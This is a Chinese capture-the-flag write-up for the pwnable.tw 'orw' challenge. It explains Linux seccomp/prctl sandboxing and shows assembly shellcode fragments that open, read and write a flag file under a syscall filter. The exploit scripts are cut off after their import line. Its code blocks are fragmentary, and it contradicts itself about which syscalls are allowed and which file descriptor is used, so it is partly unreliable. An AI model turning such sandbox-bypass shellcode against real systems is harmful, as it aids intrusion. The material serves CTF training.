pwnable.tw orw
prctl 内核沙箱机制
# 知识点
prctl seccomp 相当于内核中的一种安全机制,正常情况下,程序可以使用所有的 syscall,但是当劫持程序流程之后通过 exeve 来呼叫 syscall 得到 shell 时过滤掉某些 syscall,只允许使用部分 syscall。
seccomp 是 secure computing 的缩写,其是 Linux kernel 从 2.6.23 版本引入的一种简洁的 sandboxing 机制。在 Linux 系统里,大量的系统调用(system call)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。seccomp 安全机制能使一个进程进入到一种 “安全” 运行模式,该模式下的进程只能调用 4 种系统调用(system call),即 read (), write (), exit () 和 sigreturn (),否则进程便会被终止。
# WP
开启了 canary
本题系统内核只允许使用 sys_open,sys_read,sys_write
第一次调用 prctl 函数 禁止提权,第二次调用 prctl 函数 限制能执行的系统调用只有 open,write,exit
总体思路是:open flag ->read->write
- sys_open
1 | push 0x0 #字符串结尾 |
-
sys_read (2,file,0x100) 系统调用号为 3
1
2
3
4
5
6mov eax,0x3;
mov ecx,ebx; # ecx = char __user *buf 缓冲区,读出的数据-->也就是读“flag”
mov ebx,0x3; # 文件描述符 fd:是文件描述符 0 1 2 3 代表标准的输出输入和出错,其他打开的文件
mov edx,0x100; #对应字节数
int 0x80;- sys_write (1,file,0x30) 系统调用号为 4
1
2
3mov eax,0x4; # eax = sys_write
mov ebx,0x1; # ebx = unsigned int fd = 1
int 0x80;exp:
1 | from pwn import * |
1 | from pwn import * |
pwnable.tw orw